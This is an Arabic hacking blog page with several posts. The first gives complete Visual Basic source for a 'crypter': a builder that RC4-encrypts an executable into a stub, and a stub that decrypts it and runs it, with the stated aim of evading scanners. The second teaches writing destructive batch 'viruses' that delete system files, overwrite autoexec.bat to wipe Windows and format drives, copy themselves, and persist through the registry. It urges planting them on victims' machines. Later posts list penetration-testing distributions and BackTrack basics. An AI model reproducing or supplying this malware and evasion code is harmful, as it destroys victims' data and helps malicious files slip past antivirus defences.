الأحد، 10 أغسطس 2014

تصميم برنامج تشفير بالفيجول بيسك

 
السلام عليكم
كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره

alt
طيب الحين نجي الاكوآد

كـواد البرنامج :_:

في التصريحات العامه (General ) :_:

كود PHP:
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#q&szlig;" 
في زر الاستعراض
Command1

نضع هذا الكود :
كود PHP:
    With CommonDialog1 ' انتظار اداه دايلق
    .Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل
    .DialogTitle = "Select a File"
    .ShowOpen ' امر الاستعراض وجلب
    End With
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست 

النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :
كود PHP:
Dim sStube As String, sFile As String

Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب
sStube = Space(LOF(1))
Get #1, , sStube
Close #1


Open ****1.**** For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1

Open App.Path & "\s3od*****" For Binary As #1  ' اسم الملف الناتج بعد التشفير
Put #1, , sStube & FileSplit & RC4(sFile, pw)
Close #1

MsgBox "مبــروك تم تشفير الملف بنجآح" 
النجوم تعني = t e x t


في الموديل الى اضنفاه

ModRc4


نضع هذا الكود :_:
كود PHP:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function 
..........................
بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :
كود PHP:
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#qك"
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Sub Main()
Dim sStub As String, sFile As String

Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي
sStub = Space(LOF(1))
Get #1, , sStub ' اسم الستب
Close #1 ' اغلاق

sFile = Split(sStub, FileSplit)(1)

Open Environ("tmp") & "decrypted.exe" For Binary As #1
Put #1, , RC4(sFile, pw)
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء


Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه


End Sub 
النجوم تعني = N a m e
موديل رقم 2

باسم ModRc4

كود هـو :
كود PHP:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function 
طيب الحين نحفظ الستب
باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه


تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج

ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح





============


أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr

 

==============Security Palestine Team==============
11:54 م

تصميم الفيروس بواسطة notepad المفكرة


سوف تعلم تصميم الفيروس بواسطة notepad المفكرة
لتصميم فيروس بهذا النوع يجب ان تعرف كيف تضع الأكواد التى سوف اعطيها لك و هى عن طريق فتح برنامج notepad وكتابة الكود فيه
ثم حفظه باى اسم تريده ولاكن بامتداد .bat ....مثل :Blue.bat
من الأفضل نسخ الكود و لصقه فى المكان الذى تريده

نبدأ بالكود الأول :
--------------------
@Echo off
c:
cd %WinDir%\System\
deltree /y *.dll
cd\
deltree /y *.sys
الـتوضـــــــــــتيح :
* بعد ان قمت بوضع الكود و حفظه بامتداد .bat فانت هاكذ تكون قد قمت بعمل فيروس و سوف تلحظ ان شكل الأيقونة قد تغير
الى شباك ازرق وبداخله عجلة صفراء احذر منه فهو الأن جاهز للعمل و اياك ان تفتحه
* هذا الفيروس يقوم على مسح كل ملفات ال dll وال sys من نظام. وهذا ما سوف نلحظه بالنظر الى الكود السابق و به
سوف نجد انه كتب فى هذا الكود امر deltree و هو الخاص بمسح الملفات ثم كتب بعد ذلك *.dll كما كتب *.sys و هو انى قد اعطيت
له بان يمسح كل الملفات التى لها الأمتدادين السابقين و يمكن ملاحظة شئ اخر و هو كون الكمبيوتر يمسح الملفات من نظام و سوف نجد فى
اول الكود الامر الخاص بذلك فسوف تجد انه قد اعطى له الأمر بالذهاب الى c: و كما اعطاه الأمر بالذهاب مالفات لويندوز عندما صدرنا له الأمر windir ثم
اخبرناه ان الأوامر التالية يجب ان تكون داخل System و الذى هو موجود ضمن ملفات الويندوز
*و الآن ما رايكم هل هناك من يستطيع اجابتى على سؤالى و هو هل يمكننا تعديل هذا الكود ؟!!
----- لن ادعكم تفكرون فى الأجابة فانا سوف اعجبكم بكل بساطة و هى يمكننا ان نغير اى شئ قد فهمناه جيدا لذا نحن يمكننا ان نغير هذا الكود
قليلا وسو اخبركم عما هو يمكننا ان نغيره و طبعا نتم تعرفون المكان الذى يمكننا ان نغيره فى الكود فيمكننا ان نغير نوعية الملفات التى سوف يقوم
بمسحها او يمكننا زيادتها كما يمكننا ان نغير المكان الذى سوف يوجد فيه فمثلا هناك من يضع نوعين من انظمة التشغيل فهناك من يضع مثلا ويندوز 98 و Xp لذا
يمكننا ان نغير اتجاه الفيروس الى d:
مثال توضيحى :
انا الأن يمكننى ان اصنع فيروس يقوم بمسح جميع ملفات الصور التى امتددها *.jpg. كما اننى
اريد ان امسح جميع ملفات الأغانى التى امتددها *.mp3 و جميع امتدادت الملفات الخاصة بلافلام و التى امتدادها *.asf و التى توجد فى E: كل ما علينا هو تعديل
الكود ليصبح كالأتى
@Echo off
e:
deltree /y *.jpg
cd\
deltree /y *.mp3
cd\
deltree /y *.asf
ايه رايكم فى الفيروس الجديد اتمنى يعجبكم

الكود الثانى
--------------
echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
الـتوضـــــــــــتيح :
نبدا بتوضيح الكود : فكما نرى فى الكود سطر مجرد فائدته مسح الشاشة من اى امر او تعليق مسبق حتى يجعل عمل هذا الفيروس هو الوحيد
بعد سوف نجد مجموعة من السطور هى تقريبا مكرره فكرتها وليس مكرر عملها ولاكن يمكننا ان نوضح انه هناك 3 اكود منفصله هم الفكرة الأسايه
و هما ما سوف نحن نوضحه
echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat
يعطى هذا المود الأمر للكمبيوتر بمسح الفولدر program files والذى يوجد فيه جميع البرامج التى تنزل على الجهاز و نلاحظ تكراره فى مسح الويندوز فى الكود
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
ولاكنه اذا قام بمسح الويندوز فهو لن يستطيع عمل فورمات بعد ذلك لذا فقبل ذلك اعطى امر نسخ لهذان الأمرن حتى يمكننا استخدامهم فيما بعد
و هذا هو ما اعطاه هذان السطرين
echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat
اما بعد ذلك فهو اعطاه الأمر بعمل فورمات للجهاز و هذا كما هو موجود فى السطر التالى
echo format c: /q /u /autotest >nul >>c:\autoexec.bat
اولا يوجد بعض الامور توضيحها قبل البدأ فى هذا الموضوع وهو انه بوضع هذا الفيروس فى الـC:

سوف يجعله يعمل تلقائيا عند فتح الجهاز لذا لا تحفظه فى هذا partion اما اذا كنت تسوى تهكرعلى جهاز فقم تحميل هذا الفيروس الى الـC: عنده ثم دعه
يتمتع بذلك بعد ان يفتح جهازه
ولاكنى وجدت فيه عيب بسيط و هو ان هذا الفيروس لن يعمل فى جهاز وضع فيه الويندو داخل فولدر غير windows فمثلا اذا كان هناك ضحيه يوجد عنده
ويندوز موضوع داخل فولدر win98 فان الفيروس الذى كوناه لن يقوم ببعض الأعمال و هى نسخ الأوامر و مسح الويندوز ولاكنه سوف يقوم بعمل فورمات
اما بالنسبة لتعديله فكل ما استطيع ان اعطيكم اياه من تدعديل مفيد فيه و هو انكم تمسحوا اوامر مسح الويندوز و Program files و تدع امر الفورمات مع تغير
مثلا انه يسوى فورما على الـ D: فيكون لكود كما يلى
echo off@

cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo format d: /q /u /autotest >nul >>c:\autoexec.bat
كل ما انا يجب ان اقوله لكم بخصوص هذا الكود انه يجب عليكم ان تسمه بـ Autoexec.bat

--------------

الأن و بعد ان تعرفنا الى الأكواد السابقة ما رأيكم فى جعل هذا الفيروس اقوى بان نضيف اليه بعض الخصائص و سوف اوضح اكواده
الخاصــــــــــــــية الأولى :-
On Error Resume Next
Dim copy, copy2
copy = "c:\virus.exe"
copy2 = "c:\windows\system\Project12.exe"
FileCopy copy, copy2
يعطى هذا الكود للفيروس خاصية نسخ نفسه الى مكان اخر حتى لا يمكن للضحيه ايقافه بمجرد مسحه و يمكننا من التعامل مع الكود بكل بساطة هذا اذا كنت من الفاهمين للكمبيوتر بدرجة جيدة و ليس للبرامج الصغيرة التى تاتى معه
الخاصــــــــــــــية الثانيه :-
Option Explicit
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueN*** As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueN*** As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueN*** As String) As Long
Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002
Private Sub Command1_Click()
Dim InputValue As String
Dim nBufferKey As Long, nBufferSubKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
InputValue = "c:\windows\system\Project12.exe"
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)
End Sub
يعطى هذا الكود للفيروس خاصية انه يمكنه من ان يشتغل تلقائيا عند فتح الجهاز و هذا عن طريق تعديل ال registry 

============


أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 

==============Security Palestine Team==============
11:52 م

أساسيات و مفاهيم لغة البرمجة



لغة البرمجة
لغة البرمجة عبارة عن مجموعة من الأوامر، تكتب وفق مجموعة من القواعد تحدد بواسطة لغة البرمجة، ومن ثم تمر هذه الأوامر بعدة مراحل إلى ان تنفذ على جهاز الحاسوب.

تقسم لغات البرمجة بناء على قربها من اللغات الإنسانية إلى لغة عالية المستوى (قريبة من اللغة التي يفهمها البشر) مثل سي وجافا ولغة منخفضة المستوى (كلغة الأسيمبلي Assembly وهي قريبة من لغة الآلة).

وتقسم أحيانا بناء على الأغراض المرغوبة من اللغة المستخدمة. هناك لغات صُممت لكي تعمل على أجهزة معينة، مثل أن تقوم شركة ما بإنتاج جهاز حاسوب أو معالج مركزي (CPU)، وتوفر له دليل استعمال يحتوي على الأوامر التي تنفذ عليه، وهناك لغات أخرى أكثر عمومية تعمل بشكل مستقل عن نوع الآلة، أي أنها تعمل ضمن آلة افتراضية Virtual Machine، مثل لغة جافا.

تعريف البرمجة

من الممكن تعريف البرمجة بأنها عملية كتابة تعليمات وأوامر لجهاز الحاسوب أو أي جهاز آخر، لتوجيهه وإعلامه بكيفية التعامل مع البيانات أو كيفية تنفيذ سلسلة من الأعمال المطلوبة.

و تتبع عملية البرمجة قواعد خاصة باللغة التي اختارها المبرمج.

و كل لغة لها خصائصها التي تميزها عن الأخرى وتجعلها مناسبة بدرجات متفاوتة لكل نوع من أنواع البرامج والمهمة المطلوبة من هذا البرنامج.

كما أن للغات البرمجة أيضاً خصائص مشتركة وحدود مشتركة بحكم أن كل هذه اللغات صممت للتعامل مع الحاسوب.

وتتطور لغات البرمجة (السوفتوير Software) بتطور الحاسوب (الهاردوير Hardware). فعندما ابتكر الحاسوب الإلكتروني في الأربعينيات والخمسينيات من القرن الماضي (بعد أجهزة الحساب الكهربائية في العشرينات)- وكان الكمبيوتر يعمل بأعداد كبيرة من الصمامات الإلكترونية - كانت لغة البرمجة معقدة هي الأخرى، وكانت عبارة عن سلسلة من الأعداد وتكتب على شكل اكواد برمجية طويلة هذي الاعداد هي الرقمين الصفر 0 والواحد 1 ، وكان ذلك صعبا على المبرمجين. ولكن بابتكار الترانزيستور صغر حجم الحاسوب كثيرا وزادت إمكانياته، واستطاع المختصون والمبرمجون في نفس الوقت أن يبتكروا لغات برمجة أسهل للاستخدام، وأصبحت لغات البرمجة مفهومة إلى حد بعيد للمختصين. ولا يزال التطوير والتسهيل دائرا.

خصائص لغات البرمجة
بعض كتب البرمجة.

لغة البرمجة هي بالأساس طريقة تسهل للمبرمج كتابة برنامجه في هيئة تعليمات وأوامر يفهما الحاسوب بغرض تنفيذ العمل المطلوب. ومن المعروف ان الحاسوب يحول اللغة المكتوبة بها البرمجة إلى سلسلة من 0 و 1، ويبدأ على أساسها عمله. ولكتابة الأوامر توفر لغة البرمجة المختارة مجموعة من اللبنات الأساسية للاستناد عليها خلال عملية تكوين البرنامج ومجموعة من القواعد التي تمكن من التعامل مع معلومات وتنظيمها بغرض أداء العمل المطلوب.

تتمثل هذه الأسس والقواعد بصفة عامة في:

المعلومات وتخزينها
الأوامر وتنظيم سيرها
التصميم الخاص

المعلومات وتخزينها

يتم تخزين المعلومات في الأجهزة الرقمية الحالية في هيئة أرقام طبقا لنظام العد الثنائي (أي المعتمد على 0 و 1). و بصفة عامة فان المعالجات الحديثة لا تقوم بالتعامل مع البت الواحد بل مع مجموعات من البتات يمكن أن تضم :

8 بت = 1 بايت وهي أصغر وحدة تخزين معلومات في الحواسيب الحديثة
16, 32, 64, 128، 256 ,أو 512 بت

و باستعمال 8 بت مثلا, يمكن تشكيل 256 قيمة مختلفة, ويمكن أن تكون هذه القيمة بين 0 و 255 و تمثل وظيفة لغة البرمجة استغلال وحدة أو مجموعة من الوحدات (رموزا) لتخزين معلومات من الحياة الواقعية مثل الأسماء أو القياسات أو أرقام الحسابات البنكية.

الأوامر وتنظيم سيرها

يقوم المبرمج باجراء عمليات على وحدات المعلومات مثل تخزينها وقراءتها ومقارنتها، كما يمكن إجراء عمليات حسابية عليها أيضا, وتتبع العمليات القواعد المحددة للغة. و للغة البرمجة دور آخر وهو التحكم في تنظيم إجراء العمليات، حيث توجه تنفيذ خطواتها بنفس تتابع كتابتها من طرف المبرمج،

و تمكن اللغة أيضاً من إجراء عملية اختيار وتفرع، وذلك بإدخال شرط منطقي يقوم الحاسوب على أساسه باختيار اتجاه الاستمرار في أداء العمل : فلنفترض أن البرنامج الذي يريد المبرمج صنعه يقوم بقسمة عددين يختارهما المستخدم، وإظهار النتيجة على الشاشة, ومن المعروف أن القسمة على صفر لا تجوز، وبناء علي ذلك فلا بد أن يحدد المبرمج في برنامجه هذا الاختيار : فاذا كان القاسم مخالفا للصفر، فإن البرنامج يسيـّر الحاسوب فيقوم بإجراء العملية ويعطي النتيجة. أما إذا كان القاسم صفراً فان البرنامج لا يقوم باجراء العملية وإنما ينبه إلى أن المستخدم حاول القسمة على صفر. و يمكن تنظيم الأوامر بصفة أخرى، حيث يقع تنفيذ أمر أو مجموعة من الأوامر بصفة متكررة حلقية (Loop)، و يمكن تقسيم الأوامر أيضاً إلى وحدات فرعية تقوم كل وحدة بانجاز عمل محدد, والهدف هو تقسيم العمل إلى أجزاء يسهل العمل عليها كل على حدة في هيئة دورات حلقية (Loops).

التصميم الخاص
نموذج لأحد الأشغال المبرمجة، اللغة المكتوبة هي بايثون.

تتمتع كل لغة بتصميم خاص من حيث التعامل مع المعطيات، ومن حيث الطرق والتسهيلات التي توفرها اللغة للتعامل مع مشكلة معينة.

يمكن تصنيف لغات البرمجة من حيث طريقة بناء البرامج إلى لغات إجرائية (Basic, Fortran) وهي لغات تسلسلية، أساس بناؤها هو الإجراءات المطلوب تطبيقها على المعطيات والمتحولات. ولغات شيئية (C, Java, Delphi) وهي لاتسلسلية، وتقوم على أساس العناصر والمتحولات المستخدمة ضمن البرنامج المطلوب تحويرها، من خلال تطبيق مجموعة معينة من الإجراءات عليها.

============


أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr

 

==============Security Palestine Team==============
11:51 م

التوزيعة الرائعة و المحبوبة عند الجميع BackTrack 5

BackTrack 5
أقدم لكم اليوم أفضل التوزيعات الخاصة بالحماية و إختبار الإختراق على الإطلاق

نبدأ على بركة الله
أولا مع التوزيعة الرائعة و المحبوبة عند الجميع
BackTrack 5

[ ماهو الباك تراك ] هو من افضل توزيعات اللينوكس الخاصه في مُختبري الاختراق " مُعدلّه " بحيث انها مُضاف لها برمجيات خاصة في اختبار الاختراق اي لـ" الهكر الاخلاقي " وليس للتدمير والتخريب وبمجرّد تنصيب التوزيعة ستجد انها تحمل جميع مايخدمك بصورة مرتبه ومنظمة. .

صورة للتوزيعة
alt



لتحميل التوزيعة





============



أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 
==============Security Palestine Team==============
11:46 م

التوزيعة الحلوة والرائعة لعشاق حماية المواقع والسيرفرات : Samurai w e b Testing Framework v.0.9.7


Samurai w e b Testing Framework v.0.9.7


: التوزيعة الحلوة والرائعة لعشاق حماية المواقع والسيرفورات
: Samurai w e b Testing Framework v.0.9.7:

توزيعه لينكس مخصوصه لهكر المواقع ( w e b applecation )

بعيد عن مشاكل الباك تراك تظهر

تلك التوزيعه وهي مبنيه علي ابتيو ويكمن تسطيبها بسهوله تامه

من خللا ايقونه علي سطح المكتب مثلها مثل الابنتو العاديه

اسم التوزيعه Samurai

وصف التوزيعه
توزيعه ساموراي لتتطبيقات الويب تم التعديل علي وظيفتها لتناسب
الهكر السلمين والمخترقين التوزيعه تضم العديد من الادوات المفتوحه المصدر
المستخدمه في الاختراقات المطورين وضعوا داخل التوزيعه تلك الادوات
التي ستخدمونها في عمليه السكيورتي الخاصه بيهم

بعد التجربة لهاا هي توزيعة مستقرة مافيهاا مشاكل

التوزيعة مبنية علي ubuntu 9.04

تحتوي علي عدة أدوات ومشاريع في اختبار الاختراق

أنصحكم بتجربتهااا


صور للتوزيعة

alt

alt


للتحميل التوزيعه

من هنا


============



أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 
==============Security Palestine Team==============
11:45 م

توزيعة خاصة لاختبار الاختراق وتقييمات الامنية BackBox Linux v.1.05


BackBox Linux v.1.05:

هي توزيعة مبنية على توزيعة اوبنتو 10,4 LTS وهي خاصة لاختبار الاختراق وتقييمات الامنية
وهي مصممة لتكون سريعة وسهلة الاستخدام ومحدثة باخر النواة 2.6.32 ويحتوي على الكثير من اداوت التي يحتاجها ال pentest

تم تصميم backbox للاستخدام سطح المكتب ، وسهلة الاستعمال وسريعة وخفيفة... يتم تجميع هذه الأدوات حسب الفئة ، فقط ما يلزم... سيتم تثبيت الآخرين من المخزون لدينا ,وهو حر استخدام ب شكل قرص حي سعة فقط 700 م.ب او تنصيبه , و يتواجد على 32 بت أو 64بت.مؤسس على XFCE.

XFCE هي بيئة سطح المكتب وخفيفة الوزن لمختلف أنظمة يونكس . مصمم لزيادة الإنتاجية ، فإنه يحمل وينفذ التطبيقات بسرعة ، مع الحفاظ على موارد النظام.

وسوف استعرض لكم بعض الصور من التوزيعة


صورة التوزيعة
alt





لتحميل التوزيعة


============



أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 
==============Security Palestine Team==============
11:44 م

توزيعة لينكس مجانية مصممة لاختبار الاختراق والقرصنة الأخلاقية: Live Hacking DVD v.1.3



Live Hacking DVD v.1.3

الجديد في هذا الإصدار هو الإطار m e t asploit 3،6 والتي يمكن استخدامها لاختبار شبكة الاتصال باستخدام قاعدة بيانات الإطار الداخلي من نقاط الضعف المعروفة ومآثر. v3.6 جديد ليتم بعد استغلال الوحدات التي يمكن تشغيلها على أنظمة استغلالها لتنفيذ إجراءات مثل جمع معلومات إضافية ، التمحور على الشبكات الأخرى وامتيازات نظام الارتقاء. v3.6 يضيف أيضا 15 استغلال جديدة ليصل اجمالي عدد الوحدات استغلال 648، 342 وحدات مساعدة وحدات آخر 23.

التوزيع المباشر لينكس التقطيع هو 'دي في دي الحي' التي تقلع مباشرةً من قرص الفيديو الرقمي ولا يحتاج إلى تثبيت على جهاز الكمبيوتر الخاص بك. فضلا عن أدوات الربط الشبكي القياسية لينكس الأقلاع دي في دي الحي وأدوات لتعداد أسماء النطاقات والاستطلاع، وكذلك المرافق للطباعة قدما، وتكسير الكلمات المرور واستنشاق الشبكة. كما أن لديها برامج للخداع ومجموعة من المرافق الشبكات اللاسلكية.

والآن بعد أن استنفد مجموعة من عناوين IPv4 الحرة ، والأختراق دي في دي الحي يتضمن أداة THC-IPV6 ، IPv6 ، مجموعة من الأدوات لمهاجمة نقاط الضعف الكامنة في بروتوكول IPv6 وICMP6.
صورة التوزيعة


alt

لتحميل التوزيعة


============



أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 
==============Security Palestine Team==============
11:43 م

توزيعة مخصصة للطلاب المتدربين والعاملين في مجال الامن المعلومات واختبار الاختراق: BlackBuntu


Blackbuntu v.0.2


توزيعة BlackBuntu توزيعة مخصصة للطلاب المتدربين والعاملين في مجال الامن المعلومات واختبار الاختراق وتاتي معه سطح مكنب جنوم وكما انه مبني على توزيعة اوبنتو 10.10 وهي مرجع للتوزيعة Back|Track


صورة للتوزيعة

alt


لتحميل التوزيعة 


============



أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 
==============Security Palestine Team==============

11:40 م

التوزيعة تركز على برامج اختبارات الإختراق:GnackTrack

alt

توزيعة GnackTrack هي توزيعة منافسة ل BackTrack .. تركز هذه التوزيعة على برامج اختبارات الإختراق Penetration test (القرصنة الأخلاقية) ..
التوزيعة مبنية على توزيعة Ubuntu 10.04 .. أي أنها متوفرة بواجهة Gnome

مجموعة صور من التوزيعة

alt



alt

alt










alt




 تحميل التوزيعة GnackTrack

من هنا





============





أتمنى من الله عزوجل أن أكون قد وفقت فى توصيل هذه المعلومة
مــــــــع أطـيــــــب تمنـيــــــــاتى بالتــوفيـــــــق للجمـيـــــــــع
===================================
مـــــع خــــالـــــص تـحـيــــاتــــى
 
ÃRêstø ĦąĈķễr
 

==============Security Palestine Team==============
11:36 م

لمستخدمين الباك تراك 5 : اوامر لباك تراك 5 Back track Basic Usage


نبدا علي بركة الله

تسجيل الدخول إلى الباك تراك


بمجرد الانتهاء من تركيب بكترك، اسم المستخدم وكلمة المرور الافتراضية المطلوبة لتسجيل الدخول هي

كود PHP:
 [COLOR="Red"]root[/COLOR] / [COLOR="Red"]toor[/COLOR
ملاحظة: أنت لن تكون قادرة على معرفة كلمة السر عند كتابتها

البدء في بيئة واجهة المستخدم الرسومية.

بعد تسجيل دخولك في يمكنك بدء تشغيل واجهة المستخدم الرسومية بإصدار الأمر
كود PHP:
[COLOR="Red"]startx[/COLOR

سوف يتم تشغيل

في حالات نادرة مثل (بعد تثبيت أدوات VMWare، أو عند استخدام بطاقات الفيديو غير معتمد)، سوف يرفض البدء. اذا ما حدث ذلك لديك عدة خيارات يمكنك محاولة من أجل حل المشكلة:

إعادة تشكيل حزمة خادم X، يمكنك إعادة تعيين (وإصلاح كثير من الأحيان) تكوينات فيي سطر الأوامر مع الأمر التالي:
كود PHP:
root@bt:~#[COLOR="Red"] dpkg-reconfigure xserver-xorg[/COLOR] 
إذا كنت تستخدم backtrack 5 x64 معKDE يجب أن تتبع ما يلي
كود PHP:
 root@bt:~# [COLOR="Red"]rm /root/.kde/cache-*[/COLOR] 

ملاحظة: في بعض الأحيان قد تحتاج إلى إزالة أيضا المجلدات مخبأ في

/var/tmp

عن طريق إصدار الأمر التالي:
كود PHP:
 root@bt:~# [COLOR="Red"]rm -rf /var/tmp/kdecache-*[/COLOR] 
الحصول على شبكة الاتصال للعمل

إذا قد لاحظت backtrack لم ينبه بعد لاعادة التشغيل مع الشبكات افتراضيا من أجل زيادة الحماية

وضع IP الخاصة بك يدويا

سوف نقوم أولا إعداد الشبكات يدويا. في المثال التالي سوف نقوم تحمل العناوين التالية والغرض منها:
كود PHP:
  IP Address      -  192.168.1.112/24
   
